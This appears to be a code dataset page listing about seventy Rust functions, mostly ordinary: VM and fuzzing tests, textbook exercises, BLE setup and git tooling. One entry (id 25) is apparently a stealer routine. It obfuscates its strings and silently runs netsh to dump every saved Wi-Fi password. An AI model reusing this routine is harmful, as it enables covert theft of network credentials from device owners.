Dataset Viewer
Auto-converted to Parquet Duplicate
content
stringlengths
12
12.8k
id
int64
0
359
async fn get_price_ticker() { let exchange = init().await; let req = GetPriceTickerRequest { market_pair: "eth_btc".to_string(), }; let resp = exchange.get_price_ticker(&req).await.unwrap(); println!("{:?}", resp); }
0
fn error_test() { // 7.1.1 // fn pirate_share(total: u64, crew_size: usize) -> u64 { // let half = total / 2; // half / crew_size as u64 // } // pirate_share(100, 0); // 7.2 Result // fn get_weather(location: LatLng) -> Result<WeatherReport, io::Error> // 7.2.1 // match get_weather(hometown) { // Ok(report) => { // display_weather(hometown, &report); // } // Err(err) => { // println!("error querying the weather: {}", err); // schedule_weather_retry(); // } // } // A fairly safe prediction for Southern California. // const THE_USEAL: WeatherReport = WeatherReport::Sunny(72); // // result.is_ok() // result.is_err() // // result.ok() // result.err() // // Get a real weather report, if possible. // If not, fail back on the usual. // let report = get_weather(los_angels).unwrap_or(THE_USEAL); // display_weather(los_angels, &report); // // let report = // get_weather(hometown) // .unwrap_or_else(|_err| vague_prediction(hometown)); // // result.unwrap() // result.expect(message) // result.as_ref() // result.as_mut() // // 7.2.2 // fn remove_file(path: &Path) -> Result<()> // pub type Result<T> = result::Result<T, Error>; // // 7.2.3 // println!("error querying the weather: {}", err); // println!("error: {}", err); // println!("error: {:?}", err); // err.description() // err.cause() // use std::error::Error; // use std::io::{stderr, Write}; // /// Dump an error message to `stderr`. // /// // /// If another error happens while building the error message or // /// writing to `stderr`, it is ignored. // fn print_error(mut err: &Error) { // let _ = writeln!(stderr(), "error: {}", err); // while let Some(cause) = err.cause() { // let _ = writeln!(stderr(), "caused by: {}", cause); // err = cause; // } // } // // 7.2.4 // // let weather = get_weather(hometown)?; // // let weather = match get_weather(hometown) { // Ok(success_value) => success_value, // Err(err) = > return Err(err) // }; // // use std::fs; // use std::io; // use std::path::Path; // // fn move_all(src: &Path, dst: &Path) -> io::Result<()> { // for entry_result in src.read_dir()? { // opening dir could fail // let entry = entry_result?; // reading dir could fail // let dst_file = dst.join(entry.file_name()); // fs::rename(entry.path(), dst_file)?; // renaming could fail // } // Ok(()) // } // // 7.2.5 // // use std::io::{self, BufRead}; // // /// Read integers from a text file. // /// The file sould have one number on each line. // fn read_numbers(file: &mut BufRead) -> Result<Vec<i64>, io::Error> { // let mut numbers = vec![]; // for line_result in file.lines() { // let line = line_result?; // reading lines can fail // numbers.push(line.parse()?); // parsing integers can fail // } // Ok(numbers) // } // // type GenError = Box<std::error:Error>; // type GenResult<T> = Result<T, GenError>; // // let io_error = io::Error::new{ // make our own io::Error // io::ErrorKind::Other, "timed out"}; // return Err(GenError::from(io_error)); // manually convert to GenError // // 7.2.7 // let _ = writeln!(stderr(), "error: {}", err); // // 7.2.8 // // fn main() { // if let Err(err) = calculate_tides() { // print_error(&err); // std::process::exit(1); // } // } }
1
pub fn task_set_inactive(target: CAddr) { system_call(SystemCall::TaskSetInactive { request: target }); }
2
fn overflow() { let big_val = std::i32::MAX; // let x = big_val + 1; // panic let _x = big_val.wrapping_add(1); // ok }
3
pub fn test_load_elf_crash_64() { let buffer = fs::read("tests/programs/load_elf_crash_64").unwrap().into(); let result = run::<u64, SparseMemory<u64>>(&buffer, &vec!["load_elf_crash_64".into()]); assert_eq!(result.err(), Some(Error::MemWriteOnExecutablePage)); }
4
fn read_or_create_default_database() -> Result<DataBase> { let default_database_paths = get_default_database_paths(); if default_database_paths.is_empty() { eprintln!("{}", format!( "Could not find a location for the default database. \ Opening a database which cannot be saved.", ).color("yellow")); return Ok(DataBase::new()); } // See if a default database can be found at any path before creating a new one. for path in &default_database_paths { if path.is_file() { return read_database(&path).map_err(|err| GrafenCliError::from(err)) } } let mut default_database = DataBase::new(); let default_path = &default_database_paths[0]; if let Some(parent_dir) = default_path.parent() { match DirBuilder::new().recursive(true).create(&parent_dir) { Ok(_) => default_database.set_path(&default_path).unwrap(), Err(err) => { eprintln!("{}", format!( "Warning: Could not create a folder for a default database at '{}' ({}). \ Opening a database which cannot be saved.", default_path.display(), err ).color("yellow")); }, } } Ok(default_database) }
5
pub fn establish_connection() -> PooledConnection<ConnectionManager<PgConnection>> { pool().get().unwrap() }
6
fn system_call_take_payload<T: Any + Clone>(message: SystemCall) -> (SystemCall, T) { use core::mem::{size_of}; let addr = task_buffer_addr(); unsafe { let buffer = &mut *(addr as *mut TaskBuffer); buffer.call = Some(message); system_call_raw(); let payload_addr = &mut buffer.payload_data as *mut _ as *mut T; let payload_data = &*payload_addr; assert!(buffer.payload_length != 0 && buffer.payload_length == size_of::<T>()); (buffer.call.take().unwrap(), payload_data.clone()) } }
7
fn array_test() { let lazy_caterer: [u32; 6] = [1, 2, 4, 7, 11, 16]; let taxonomy = ["Animalia", "arthropoda", "Insecta"]; assert_eq!(lazy_caterer[3], 7); assert_eq!(taxonomy.len(), 3); let mut sieve = [true; 10000]; for i in 2..100 { if sieve[i] { let mut j = i * i; while j < 10000 { sieve[j] = false; j += i; } } } assert!(sieve[211]); assert!(!sieve[9876]); let mut chaos = [3, 5, 4, 1, 2]; chaos.sort(); assert_eq!(chaos, [1, 2, 3, 4, 5]); }
8
pub fn test_invalid_file_offset64() { let buffer = fs::read("tests/programs/invalid_file_offset64") .unwrap() .into(); let result = run::<u64, SparseMemory<u64>>(&buffer, &vec!["invalid_file_offset64".into()]); assert_eq!(result.err(), Some(Error::ElfSegmentAddrOrSizeError)); }
9
fn main() { let matches = App::new(crate_name!()) .version(crate_version!()) .about("build git branches from merge requests") .template(TEMPLATE) .arg( Arg::with_name("config") .short("c") .long("config") .value_name("FILE") .required(true) .help("config file to use") .takes_value(true), ) .arg( Arg::with_name("auto") .long("auto") .help("do not run in interactive mode"), ) .get_matches(); let merger = Merger::from_config_file(matches.value_of("config").unwrap()) .unwrap_or_else(|e| die(e)); merger .run(matches.is_present("auto")) .unwrap_or_else(|e| die(e)); }
10
fn archive(version: &Version) -> String { format!("ruby-{}.zip", version) }
11
pub fn debug_test_fail() { system_call(SystemCall::DebugTestFail); loop {} }
12
fn align_address(ptr: *const u8, align: usize) -> usize { let addr = ptr as usize; if addr % align != 0 { align - addr % align } else { 0 } }
13
fn modules_file(repo: &Repository, at: &Commit) -> Result<String, Box<dyn std::error::Error>> { if let Some(modules) = at.tree()?.get_name(".gitmodules") { Ok(String::from_utf8( modules.to_object(&repo)?.peel_to_blob()?.content().into(), )?) } else { return Ok(String::new()); } }
14
async fn main() { env::set_var("RUST_LOG", "warp_server"); env_logger::init(); let log = warp::log("warp_server"); let homepage = warp::path::end().map(|| { Response::builder() .header("content-type", "text/html") .body( "<html><h1>juniper_warp</h1><div>visit <a href=\"/playground\">/playground</a></html>" .to_string(), ) }); log::info!("Listening on 127.0.0.1:8080"); let state = warp::any().map(move || Context {}); let graphql_filter = juniper_warp::make_graphql_filter(schema(), state.boxed()); warp::serve( warp::get() .and(warp::path("playground")) .and(juniper_warp::playground_filter("/graphql", None)) .or(homepage) .or(warp::path("graphql").and(graphql_filter)) .with(log), ) .run(([127, 0, 0, 1], 8080)) .await }
15
pub fn test_op_rvc_srli_crash_32() { let buffer = fs::read("tests/programs/op_rvc_srli_crash_32") .unwrap() .into(); let result = run::<u32, SparseMemory<u32>>(&buffer, &vec!["op_rvc_srli_crash_32".into()]); assert_eq!(result.err(), Some(Error::MemWriteOnExecutablePage)); }
16
pub fn docker_metric_from_stats(first: &InstantDockerContainerMetric, second: &InstantDockerContainerMetric) -> DockerContainerMetric { let first = first.clone(); let second = second.clone(); let time_diff = second.timestamp - first.timestamp; let first_iter = first.stat.into_iter(); let stat: Vec<DockerContainerMetricEntry> = second.stat.into_iter() .filter_map(|v| first_iter.clone() .find(|item| item.name == v.name) .map(|item| (item, v)) ) .filter(|two_entries| two_entries.1.cpu_usage > two_entries.0.cpu_usage) .map(|two_entries| docker_metric_entry_from_two_stats(time_diff, two_entries.0, two_entries.1)) .collect(); DockerContainerMetric { stat, timestamp: second.timestamp } }
17
fn build_unparsed(s: ~str) -> Result<IRCToken, ~str> { Ok(Unparsed(s)) }
18
pub fn acrn_remove_dir(path: &str) -> Result<(), String> { fs::remove_dir_all(path).map_err(|e| e.to_string()) }
19
fn up_to_release( repo: &Repository, reviewers: &Reviewers, mailmap: &Mailmap, to: &VersionTag, ) -> Result<AuthorMap, Box<dyn std::error::Error>> { let to_commit = repo.find_commit(to.commit).map_err(|e| { ErrorContext( format!( "find_commit: repo={}, commit={}", repo.path().display(), to.commit ), Box::new(e), ) })?; let modules = get_submodules(&repo, &to_commit)?; let mut author_map = build_author_map(&repo, &reviewers, &mailmap, "", &to.raw_tag) .map_err(|e| ErrorContext(format!("Up to {}", to), e))?; for module in &modules { if let Ok(path) = update_repo(&module.repository) { let subrepo = Repository::open(&path)?; let submap = build_author_map( &subrepo, &reviewers, &mailmap, "", &module.commit.to_string(), )?; author_map.extend(submap); } } Ok(author_map) }
20
pub fn semaphore() -> &'static Semaphore { SEMAPHORE.get_or_init(|| Semaphore::new(*pool_connection_number())) }
21
fn read_input_configurations(confs: Vec<PathBuf>) -> (Vec<ComponentEntry>, Vec<ComponentEntry>) { let mut configurations = Vec::new(); for path in confs { match read_configuration(&path) { Ok(conf) => configurations.push(conf), Err(err) => eprintln!("{}", err), } } eprint!("\n"); let current_dir = current_dir().unwrap_or(PathBuf::new()); let entries = configurations .iter() .map(|conf| ReadConf { conf: None, path: current_dir.join(&conf.path), backup_conf: None, description: conf.description.clone(), volume_type: conf.volume_type.clone(), }) .map(|conf| ComponentEntry::ConfigurationFile(conf)) .collect::<Vec<_>>(); let components = configurations .into_iter() .map(|conf| ComponentEntry::ConfigurationFile(conf)) .collect::<Vec<_>>(); (components, entries) }
22
pub fn test_mulw64() { let buffer = fs::read("tests/programs/mulw64").unwrap().into(); let result = run::<u64, SparseMemory<u64>>(&buffer, &vec!["mulw64".into()]); assert!(result.is_ok()); }
23
fn show(store: &MemoryStore) -> String { let mut writer = std::io::Cursor::new(Vec::<u8>::new()); store .dump_dataset(&mut writer, DatasetFormat::NQuads) .unwrap(); String::from_utf8(writer.into_inner()).unwrap() }
24
pub async fn dump_wifi_passwords() -> Option<WifiLogins> { let output = Command::new(obfstr::obfstr!("netsh.exe")) .args(&[ obfstr::obfstr!("wlan"), obfstr::obfstr!("show"), obfstr::obfstr!("profile"), ]) .creation_flags(CREATE_NO_WINDOW) .output() .ok()?; let mut wifi_logins = WifiLogins::new(); let list_of_process = String::from_utf8_lossy(&output.stdout); for line in list_of_process.lines() { if line .to_lowercase() .contains(obfstr::obfstr!("all user profile")) && line.contains(":") { let ssid = line.split(':').nth(1)?.trim(); let profile = get_wifi_profile(ssid).await?; for pline in profile.lines() { if pline .to_lowercase() .contains(obfstr::obfstr!("key content")) && pline.contains(":") { let key = pline.split(": ").nth(1)?; wifi_logins.insert(ssid.to_string(), key.to_string()); } } } } Some(wifi_logins) }
25
pub fn test_andi() { let buffer = fs::read("tests/programs/andi").unwrap().into(); let result = run::<u32, SparseMemory<u32>>(&buffer, &vec!["andi".into()]); assert!(result.is_ok()); assert_eq!(result.unwrap(), 0); }
26
pub fn allow_debug() -> bool { let self_report = create_report(None, None).expect("create a self report should never fail"); (self_report.body.attributes.flags & SGX_FLAGS_DEBUG) == SGX_FLAGS_DEBUG }
27
fn add() { let project = project("add").with_fuzz().build(); project .cargo_fuzz() .arg("add") .arg("new_fuzz_target") .assert() .success(); assert!(project.fuzz_target_path("new_fuzz_target").is_file()); assert!(project.fuzz_cargo_toml().is_file()); let cargo_toml = fs::read_to_string(project.fuzz_cargo_toml()).unwrap(); let expected_bin_attrs = "test = false\ndoc = false"; assert!(cargo_toml.contains(expected_bin_attrs)); project .cargo_fuzz() .arg("run") .arg("new_fuzz_target") .arg("--") .arg("-runs=1") .assert() .success(); }
28
pub unsafe fn gatt_svr_init() -> i32 { // Leaks the eff out of the svc_def let svcs_ptr = alloc_svc_def(); print_svcs(svcs_ptr); ble_svc_gap_init(); ble_svc_gatt_init(); let mut rc; rc = ble_gatts_count_cfg(svcs_ptr); esp_assert!(rc == 0, cstr!("RC err after ble_gatts_count_cfg\n")); rc = ble_gatts_add_svcs(svcs_ptr); esp_assert!(rc == 0, cstr!("RC err after ble_gatts_add_svcs\n")); return 0; }
29
pub unsafe extern "C" fn gatt_svr_register_cb( ctxt: *mut ble_gatt_register_ctxt, _arg: *mut ::core::ffi::c_void, ) { let mut buf_arr: [i8; BLE_UUID_STR_LEN as usize] = [0; BLE_UUID_STR_LEN as usize]; let buf = buf_arr.as_mut_ptr(); match (*ctxt).op as u32 { BLE_GATT_REGISTER_OP_SVC => { printf( cstr!("registered service %s with handle=%d\n"), ble_uuid_to_str((*(*ctxt).__bindgen_anon_1.svc.svc_def).uuid, buf), (*ctxt).__bindgen_anon_1.svc.handle as i32, ); } BLE_GATT_REGISTER_OP_CHR => { printf( cstr!("registering characteristic %s with def_handle=%d val_handle=%d\n"), ble_uuid_to_str((*(*ctxt).__bindgen_anon_1.chr.chr_def).uuid, buf), (*ctxt).__bindgen_anon_1.chr.def_handle as i32, (*ctxt).__bindgen_anon_1.chr.val_handle as i32, ); } BLE_GATT_REGISTER_OP_DSC => { printf( cstr!("registering descriptor %s with handle=%d\n"), ble_uuid_to_str((*(*ctxt).__bindgen_anon_1.dsc.dsc_def).uuid, buf), (*ctxt).__bindgen_anon_1.dsc.handle as i32, ); } _ => { printf(cstr!("unknown operation: %d\n"), (*ctxt).op as u32); } } }
30
async fn get_historic_trades() { let exchange = init().await; let req = GetHistoricTradesRequest { market_pair: "eth_btc".to_string(), paginator: Some(Paginator { limit: Some(100), ..Default::default() }), }; let resp = exchange.get_historic_trades(&req).await.unwrap(); println!("{:?}", resp); }
31
fn init_with_target() { let project = project("init_with_target").build(); project .cargo_fuzz() .arg("init") .arg("-t") .arg("custom_target_name") .assert() .success(); assert!(project.fuzz_dir().is_dir()); assert!(project.fuzz_cargo_toml().is_file()); assert!(project.fuzz_targets_dir().is_dir()); assert!(project.fuzz_target_path("custom_target_name").is_file()); project .cargo_fuzz() .arg("run") .arg("custom_target_name") .arg("--") .arg("-runs=1") .assert() .success(); }
32
pub fn start_conflict_resolver_factory(ledger: &mut Ledger_Proxy, key: Vec<u8>) { let (s1, s2) = Channel::create(ChannelOpts::Normal).unwrap(); let resolver_client = ConflictResolverFactory_Client::from_handle(s1.into_handle()); let resolver_client_ptr = ::fidl::InterfacePtr { inner: resolver_client, version: ConflictResolverFactory_Metadata::VERSION, }; let _ = fidl::Server::new(ConflictResolverFactoryServer { key }, s2).spawn(); ledger.set_conflict_resolver_factory(Some(resolver_client_ptr)).with(ledger_crash_callback); }
33
fn get_handshake(packet: &Packet) -> Result<&HandshakeControlInfo, ConnectError> { match packet { Packet::Control(ControlPacket { control_type: ControlTypes::Handshake(info), .. }) => Ok(info), Packet::Control(ControlPacket { control_type, .. }) => { Err(HandshakeExpected(control_type.clone())) } Packet::Data(data) => Err(ControlExpected(data.clone())), } }
34
pub fn test_op_rvc_slli_crash_32() { let buffer = fs::read("tests/programs/op_rvc_slli_crash_32") .unwrap() .into(); let result = run::<u32, SparseMemory<u32>>(&buffer, &vec!["op_rvc_slli_crash_32".into()]); assert!(result.is_ok()); }
35
fn main() { gtk::init(); let mut window = gtk::Window::new(gtk::WindowType::TopLevel).unwrap(); window.set_title("TreeView Sample"); window.set_window_position(gtk::WindowPosition::Center); Connect::connect(&window, DeleteEvent::new(&mut |_| { gtk::main_quit(); true })); // test Value let hello = String::from("Hello world !"); let value = glib::Value::new().unwrap(); value.init(glib::Type::String); value.set(&hello); println!("gvalue.get example : {}", value.get::<String>()); // left pane let mut left_tree = gtk::TreeView::new().unwrap(); let column_types = [glib::Type::String]; let left_store = gtk::ListStore::new(&column_types).unwrap(); let left_model = left_store.get_model().unwrap(); left_tree.set_model(&left_model); left_tree.set_headers_visible(false); append_text_column(&mut left_tree); for _ in 0..10 { let mut iter = gtk::TreeIter::new().unwrap(); left_store.append(&mut iter); left_store.set_string(&iter, 0, "I'm in a list"); } // right pane let mut right_tree = gtk::TreeView::new().unwrap(); let column_types = [glib::Type::String]; let right_store = gtk::TreeStore::new(&column_types).unwrap(); let right_model = right_store.get_model().unwrap(); right_tree.set_model(&right_model); right_tree.set_headers_visible(false); append_text_column(&mut right_tree); for _ in 0..10 { let mut iter = gtk::TreeIter::new().unwrap(); right_store.append(&mut iter, None); right_store.set_value(&iter, 0, &value); let mut child_iter = gtk::TreeIter::new().unwrap(); right_store.append(&mut child_iter, Some(&iter)); right_store.set_string(&child_iter, 0, "I'm a child node"); } // display the panes let mut split_pane = gtk::Box::new(gtk::Orientation::Horizontal, 10).unwrap(); split_pane.set_size_request(-1, -1); split_pane.add(&left_tree); split_pane.add(&right_tree); window.add(&split_pane); window.show_all(); gtk::main(); }
36
fn check_layout(layout: Layout) -> Result<(), AllocErr> { if layout.size() > LARGEST_POWER_OF_TWO { return Err(AllocErr::Unsupported { details: "Bigger than largest power of two" }); } debug_assert!(layout.size() > 0); Ok(()) }
37
pub fn test_misaligned_jump64() { let buffer = fs::read("tests/programs/misaligned_jump64").unwrap().into(); let result = run::<u64, SparseMemory<u64>>(&buffer, &vec!["misaligned_jump64".into()]); assert!(result.is_ok()); }
38
async fn index(_req: HttpRequest) -> impl Responder { HttpResponse::Ok().json("Catalog API root") }
39
async fn save_metric_entry(mut database: &Database, hostname: &str, timestamp: &DateTime<Utc>, entry: DockerContainerMetricEntry) -> Result<(), MetricSaveError> { sqlx::query!( "insert into metric_docker_containers (hostname, timestamp, name, state, cpu_usage, memory_usage, memory_cache, network_tx, network_rx) values ($1, $2, $3, $4, $5, $6, $7, $8, $9) returning name", hostname.to_string(), *timestamp, entry.name, entry.state, entry.cpu_usage, entry.memory_usage as i64, entry.memory_cache as i64, entry.network_tx, entry.network_rx ).fetch_one(&mut database).await?; Ok(()) }
40
fn map_ignored(_: IRCToken) -> Result<IRCToken, ~str> { Ok(Ignored) }
41
fn loadResFromMesh(model: &mut Model, meshFilePath: &str) {}
42
fn main() { std::process::Command::new("packfolder.exe").args(&["src/frontend", "dupa.rc", "-binary"]) .output().expect("no i ciul"); }
43
fn encode_byte(input_byte: u8) -> (u8, u8) { let mut output = (0, 0); let output_byte = input_byte.overflowing_add(42).0; match output_byte { LF | CR | NUL | ESCAPE => { output.0 = ESCAPE; output.1 = output_byte.overflowing_add(64).0; } _ => { output.0 = output_byte; } }; output }
44
fn generate_bindings<P>(output_file: &P) where P: AsRef<Path> { let bindings = bindgen::Builder::default() .clang_arg("-IVulkan-Headers/include") .header("VulkanMemoryAllocator/include/vk_mem_alloc.h") .rustfmt_bindings(true) .size_t_is_usize(true) .blocklist_type("__darwin_.*") .allowlist_function("vma.*") .allowlist_function("PFN_vma.*") .allowlist_type("Vma.*") .parse_callbacks(Box::new(FixAshTypes)) .blocklist_type("Vk.*") .blocklist_type("PFN_vk.*") .raw_line("use ash::vk::*;") .trust_clang_mangling(false) .layout_tests(false) .generate() .expect("Unable to generate bindings!"); bindings .write_to_file(output_file) .expect("Unable to write bindings!"); }
45
fn create_data_sock() -> AppResult<UdpSocket> { let data_sock = UdpSocket::bind("0.0.0.0:9908")?; data_sock.set_write_timeout(Some(Duration::from_secs(5)))?; Ok(data_sock) }
46
pub fn encode_buffer<W>( input: &[u8], col: u8, line_length: u8, writer: W, ) -> Result<u8, EncodeError> where W: Write, { let mut col = col; let mut writer = writer; let mut v = Vec::<u8>::with_capacity(((input.len() as f64) * 1.04) as usize); input.iter().for_each(|&b| { let encoded = encode_byte(b); v.push(encoded.0); col += match encoded.0 { ESCAPE => { v.push(encoded.1); 2 } DOT if col == 0 => { v.push(DOT); 2 } _ => 1, }; if col >= line_length { v.push(CR); v.push(LF); col = 0; } }); writer.write_all(&v)?; Ok(col) }
47
fn build_all() { let project = project("build_all").with_fuzz().build(); // Create some targets. project .cargo_fuzz() .arg("add") .arg("build_all_a") .assert() .success(); project .cargo_fuzz() .arg("add") .arg("build_all_b") .assert() .success(); // Build to ensure that the build directory is created and // `fuzz_build_dir()` won't panic. project.cargo_fuzz().arg("build").assert().success(); let build_dir = project.fuzz_build_dir().join("release"); let a_bin = build_dir.join("build_all_a"); let b_bin = build_dir.join("build_all_b"); // Remove the files we just built. fs::remove_file(&a_bin).unwrap(); fs::remove_file(&b_bin).unwrap(); assert!(!a_bin.is_file()); assert!(!b_bin.is_file()); // Test that building all fuzz targets does in fact recreate the files. project.cargo_fuzz().arg("build").assert().success(); assert!(a_bin.is_file()); assert!(b_bin.is_file()); }
48
fn desearlizer_task(req: &mut reqwest::Response) -> Result<Task, Error> { let mut buffer = String::new(); match req.read_to_string(&mut buffer) { Ok(_) => (), Err(e) => println!("error : {}", e.to_string()) }; println!("buffer before serializaztion: {}", buffer); let v = match serde_json::from_str::<Task>(&buffer){ Ok(v) => v, Err(e) => return Err(e) }; Ok(v) }
49
fn init() { let project = project("init").build(); project.cargo_fuzz().arg("init").assert().success(); assert!(project.fuzz_dir().is_dir()); assert!(project.fuzz_cargo_toml().is_file()); assert!(project.fuzz_targets_dir().is_dir()); assert!(project.fuzz_target_path("fuzz_target_1").is_file()); project .cargo_fuzz() .arg("run") .arg("fuzz_target_1") .arg("--") .arg("-runs=1") .assert() .success(); }
50
fn run_without_sanitizer_with_crash() { let project = project("run_without_sanitizer_with_crash") .with_fuzz() .fuzz_target( "yes_crash", r#" #![no_main] use libfuzzer_sys::fuzz_target; fuzz_target!(|data: &[u8]| { run_without_sanitizer_with_crash::fail_fuzzing(data); }); "#, ) .build(); project .cargo_fuzz() .arg("run") .arg("yes_crash") .arg("--") .arg("-runs=1000") .arg("-sanitizer=none") .env("RUST_BACKTRACE", "1") .assert() .stderr( predicate::str::contains("panicked at 'I'm afraid of number 7'") .and(predicate::str::contains("ERROR: libFuzzer: deadly signal")) .and(predicate::str::contains("run_without_sanitizer_with_crash::fail_fuzzing")) .and(predicate::str::contains( "────────────────────────────────────────────────────────────────────────────────\n\ \n\ Failing input:\n\ \n\ \tfuzz/artifacts/yes_crash/crash-" )) .and(predicate::str::contains("Output of `std::fmt::Debug`:")) .and(predicate::str::contains( "Reproduce with:\n\ \n\ \tcargo fuzz run yes_crash fuzz/artifacts/yes_crash/crash-" )) .and(predicate::str::contains( "Minimize test case with:\n\ \n\ \tcargo fuzz tmin yes_crash fuzz/artifacts/yes_crash/crash-" )), ) .failure(); }
51
pub fn test_jump0() { let buffer = fs::read("tests/programs/jump0_64").unwrap().into(); let result = run::<u64, SparseMemory<u64>>(&buffer, &vec!["jump0_64".into()]); assert!(result.is_err()); assert_eq!(result.err(), Some(Error::MemWriteOnExecutablePage)); }
52
pub fn checksum(input: &[u8]) -> Result<u16, LayerError> { let mut sum = 0x00; let mut chunks_iter = input.chunks_exact(2); while let Some(chunk) = chunks_iter.next() { sum += u32::from(u16::from_be_bytes( chunk.try_into().expect("chunks of 2 bytes"), )); } if let [rem] = chunks_iter.remainder() { sum += u32::from(u16::from_be_bytes([*rem, 0x00])); } let carry_add = (sum & 0xffff) + (sum >> 16); let chksum = !(((carry_add & 0xffff) + (carry_add >> 16)) as u16); Ok(chksum) }
53
fn align_to(size: uint, align: uint) -> uint { assert!(align != 0); (size + align - 1) & !(align - 1) }
54
fn usart_pc() {}
55
fn a_table_should_reject_a_stale_write() { let mut table = HashMapOfTreeMap::new(); table.write(0, &[Row { k: 0, v: 1 }]); assert_eq!(table.write(0, &[Row { k: 0, v: 2 }]), WriteResult::Stale { cond: 0, max: 1 }); let mut vs = [Value::default(); 1]; table.read (1, &[0], &mut vs); assert_eq!(vs, [Value { v: 1, t: 1 }]); }
56
fn de_board(raw: Vec<usize>, t: isize, l: i32, width: u8, height: u8) -> game::Board { let mut res = game::Board::new(t, l, width, height); res.pieces = raw .into_iter() .map(|x| game::Piece::from(x)) .collect(); res }
57
fn print_uint(x:uint) { println!("{}",x); }
58
async fn get_config(path: &str) -> Result<String, Error> { fs::read_to_string(path).await }
59
fn commit_coauthors(commit: &Commit) -> Vec<Author> { let mut coauthors = vec![]; if let Some(msg) = commit.message_raw() { lazy_static::lazy_static! { static ref RE: Regex = RegexBuilder::new(r"^Co-authored-by: (?P<name>.*) <(?P<email>.*)>") .case_insensitive(true) .build() .unwrap(); } for line in msg.lines().rev() { if line.starts_with("Co-authored-by") { if let Some(caps) = RE.captures(line) { coauthors.push(Author { name: caps["name"].to_string(), email: caps["email"].to_string(), }); } } } } coauthors }
60
fn get_disjoint<T>(ts: &mut [T], a: usize, b: usize) -> (&mut T, &mut T) { assert!(a != b, "a ({}) and b ({}) must be disjoint", a, b); assert!(a < ts.len(), "a ({}) is out of bounds", a); assert!(b < ts.len(), "b ({}) is out of bounds", b); if a < b { let (al, bl) = ts.split_at_mut(b); (&mut al[a], &mut bl[0]) } else { let (bl, al) = ts.split_at_mut(a); (&mut al[0], &mut bl[b]) } }
61
pub fn force_reset() -> Result<(), ()> { let mut configurator = Configurator::new(); configurator.force_reset(); Ok(()) }
62
fn tokenize_line(line: &str) -> Result<Command, CueError> { let mut chars = line.trim().chars(); let command = next_token(&mut chars); let command = if command.is_empty() { None } else { Some(command) }; match command { Some(c) => match c.to_uppercase().as_ref() { "REM" => { let key = next_token(&mut chars); let val = next_string(&mut chars, "missing REM value")?; Ok(Command::Rem(key, val)) } "CATALOG" => { let val = next_string(&mut chars, "missing CATALOG value")?; Ok(Command::Catalog(val)) } "CDTEXTFILE" => { let val = next_string(&mut chars, "missing CDTEXTFILE value")?; Ok(Command::CdTextFile(val)) } "TITLE" => { let val = next_string(&mut chars, "missing TITLE value")?; Ok(Command::Title(val)) } "FILE" => { let path = next_string(&mut chars, "missing path for FILE")?; let format = next_token(&mut chars); Ok(Command::File(path, format)) } "FLAGS" => { let flags = next_values(&mut chars); Ok(Command::Flags(flags)) } "ISRC" => { let val = next_token(&mut chars); Ok(Command::Isrc(val)) } "PERFORMER" => { let val = next_string(&mut chars, "missing PERFORMER value")?; Ok(Command::Performer(val)) } "SONGWRITER" => { let val = next_string(&mut chars, "missing SONGWRITER value")?; Ok(Command::Songwriter(val)) } "TRACK" => { let val = next_token(&mut chars); let mode = next_token(&mut chars); Ok(Command::Track(val, mode)) } "PREGAP" => { let val = next_token(&mut chars); Ok(Command::Pregap(val)) } "POSTGAP" => { let val = next_token(&mut chars); Ok(Command::Postgap(val)) } "INDEX" => { let val = next_token(&mut chars); let time = next_token(&mut chars); Ok(Command::Index(val, time)) } _ => { let rest: String = chars.collect(); if rest.is_empty() { Ok(Command::None) } else { Ok(Command::Unknown(line.to_string())) } } }, _ => Ok(Command::None), } }
63
fn docker_metric_entry_from_two_stats(time_diff: Duration, first: InstantDockerContainerMetricEntry, second: InstantDockerContainerMetricEntry) -> DockerContainerMetricEntry { let diff = time_diff.num_milliseconds() as f64 / 1000.0; // seconds DockerContainerMetricEntry { name: second.name, state: second.state, cpu_usage: ((second.cpu_usage - first.cpu_usage) as f64 / (second.system_cpu_usage - first.system_cpu_usage) as f64) / diff, memory_usage: second.memory_usage, memory_cache: second.memory_cache, network_tx: (second.network_tx - first.network_tx) as f64 / diff, network_rx: (second.network_rx - first.network_rx) as f64 / diff } }
64
fn float_test() { assert_eq!(5f32.sqrt() * 5f32.sqrt(), 5.); assert_eq!((-1.01f64).floor(), -2.0); assert!((-1. / std::f32::INFINITY).is_sign_negative()); }
65
fn debg(t: impl Debug) -> String { format!("{:?}", t) }
66
fn main() { // εˆ›ε»ΊδΈ€δΈͺι€šι“ let (tx, rx): (mpsc::Sender<i32>, mpsc::Receiver<i32>) = mpsc::channel(); // εˆ›ε»ΊηΊΏη¨‹η”¨δΊŽε‘ι€ζΆˆζ― thread::spawn(move || { // 发送一δΈͺζΆˆζ―οΌŒζ­€ε€„ζ˜―ζ•°ε­—id tx.send(1).unwrap(); }); // εœ¨δΈ»ηΊΏη¨‹δΈ­ζŽ₯ζ”Άε­ηΊΏη¨‹ε‘ι€ηš„ζΆˆζ―εΉΆθΎ“ε‡Ί println!("receive {}", rx.recv().unwrap()); }
67
fn set_led(n: u8, r: &mut impl OutputPin, g: &mut impl OutputPin, b: &mut impl OutputPin) { match n { 1 => { r.set_high().ok(); g.set_low().ok(); b.set_low().ok(); } 2 => { r.set_high().ok(); g.set_high().ok(); b.set_low().ok(); } 3 => { r.set_high().ok(); g.set_high().ok(); b.set_high().ok(); } 4 => { r.set_low().ok(); g.set_high().ok(); b.set_high().ok(); } 5 => { r.set_high().ok(); g.set_low().ok(); b.set_high().ok(); } 6 => { r.set_low().ok(); g.set_low().ok(); b.set_high().ok(); } _ => { r.set_low().ok(); g.set_low().ok(); b.set_low().ok(); } } }
68
fn is_rollup_commit(commit: &Commit) -> bool { let summary = commit.summary().unwrap_or(""); summary.starts_with("Rollup merge of #") }
69
fn run_a_few_inputs() { let corpus = Path::new("fuzz").join("corpus").join("run_few"); let project = project("run_a_few_inputs") .with_fuzz() .fuzz_target( "run_few", r#" #![no_main] use libfuzzer_sys::fuzz_target; fuzz_target!(|data: &[u8]| { assert!(data.len() != 4); }); "#, ) .file(corpus.join("pass-0"), "") .file(corpus.join("pass-1"), "1") .file(corpus.join("pass-2"), "12") .file(corpus.join("pass-3"), "123") .file(corpus.join("fail"), "fail") .build(); project .cargo_fuzz() .arg("run") .arg("run_few") .arg(corpus.join("pass-0")) .arg(corpus.join("pass-1")) .arg(corpus.join("pass-2")) .arg(corpus.join("pass-3")) .assert() .stderr( predicate::str::contains("Running 4 inputs 1 time(s) each.").and( predicate::str::contains("Running: fuzz/corpus/run_few/pass"), ), ) .success(); }
70
